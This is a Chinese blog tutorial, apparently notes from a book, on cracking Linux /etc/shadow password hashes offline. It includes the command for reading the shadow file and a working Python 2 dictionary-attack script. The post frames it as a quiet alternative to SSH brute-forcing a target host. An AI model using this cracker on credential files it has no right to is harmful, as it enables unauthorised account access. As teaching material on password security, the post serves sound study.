随笔 - 200  文章 - 0 评论 - 3 阅读 - 17万
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

前言:

这个标题是笔记就可以知道这是我看书然后写的代码,并非原创。
在很多情况下,不能对目标主机进行ssh爆破,会激发报警。
这时,下面的工具就排上用场了。
前提是,你机缘巧合下,拿到目标主机的/etc/shadow 文件
我把自己在写的时候,遇到的问题,记录下来,方便自己也方便大家遇到问题可以少走弯路。

工具准备:

1.任意版本linux,这里是我用的是ubuntu 
2.window 版本中 python 并不支持 crypt  但是支持bcryp,想完的可以试试

知识点介绍:

1.crypt加密的时候,会把一段随机字符串作为"盐值",加入算法中加密
而我们都知道,hash加密后,同一个字符串,加密后的密文是一样的
这时,我们拿到目标主机的shadow文件,就可以提取盐值,然后配合字典再
生成密文和shadow对比
2.sudo cat /etc/shadow 看密码口令文件
3.最新的盐值由$6$随机字符串$组成,这么说不准确,那个6只是加密的版本。
但是可以把这段盐值当成随机字符串处理,都一样,遇到了随机应变就好

学习过程中遇到什么问题或者想获取学习资源的话,欢迎加入学习交流群:【923414804】,我们一起学Python。

具体实现:

1.sudo cat /etc/shadow

建议大家用linux,crypt支持unix
把下面文件复制一份 》passwords.txt


image.png

2.准备好自己的字典:

 

image.png

3.具体代码实现:

#! /usr/bin/env python 
import crypt
#定义一个提取盐值+生成密文+核对 的函数
def testPass(cryptPass):
        #[0:12]   这里是提取盐值  $6$cehishicdm$
    salt = cryptPass[0:12]
    dictFile = open('dictFile.txt','r')
    for word in dictFile.readlines():
        word = word.strip('\n')
        cryptWord = crypt.crypt(word,salt)
        if cryptWord == cryptPass:
            print "[+] Found Password:"+word+"\n"
            return                       #return 在这里直接退出def函数
    print "[+] Not Found Password"  
    return
#主函数,主要打开密码文件,传递盐值
def main():
    passFile = open('passwords.txt','r')
    for line in passFile.readlines():              #这里注意 readlines() 不是readline()
        if ":" in line:
            user = line.split(':')[0]
            cryptPass = line.split(':')[1].strip(' ')
            print "[*] Cracking Password For"+user
            testPass(cryptPass)
    #dictFile.close()
    passFile.close()

if __name__ == "__main__":
    main()

最好执行结果:

image.png

结束语

最近看到一些文章关于焦虑的,其实我在高中就开始焦虑了,但发现自己做了很多无用功。其实,只有自己肯坚持自己所想要坚持和应该坚持的,每天充实一些,我们还是很幸福的,我只会为自己可以做好,而没有做好的而懊悔,就像你会为你没中彩票而懊悔吗?我现在还记得大学老师的一句名言,共勉

努力到无能为力,拼搏到无怨无悔

posted on   派森学python  阅读(386)  评论(0编辑  收藏  举报
编辑推荐:
· 从二进制到误差:逐行拆解C语言浮点运算中的4008175468544之谜
· .NET制作智能桌面机器人:结合BotSharp智能体框架开发语音交互
· 软件产品开发中常见的10个问题及处理方法
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
阅读排行:
· 《HelloGitHub》第 108 期
· Windows桌面应用自动更新解决方案SharpUpdater5发布
· 我的家庭实验室服务器集群硬件清单
· C# 13 中的新增功能实操
· Supergateway:MCP服务器的远程调试与集成工具
点击右上角即可分享
微信分享提示